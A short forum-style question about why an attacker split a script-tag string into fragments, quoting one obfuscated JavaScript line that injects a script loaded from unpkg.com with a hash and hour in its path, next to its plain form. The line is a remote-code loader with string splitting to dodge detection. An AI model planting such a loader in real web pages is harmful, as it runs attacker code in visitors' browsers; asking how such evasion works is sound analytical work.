Can someone explain to me why the attacker wrote the script source tag as

  "var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';"

Instead of just:

  var config_fragment = '<script src="https://unpkg.com/' + hash + '/' + hour + '.js"></script>';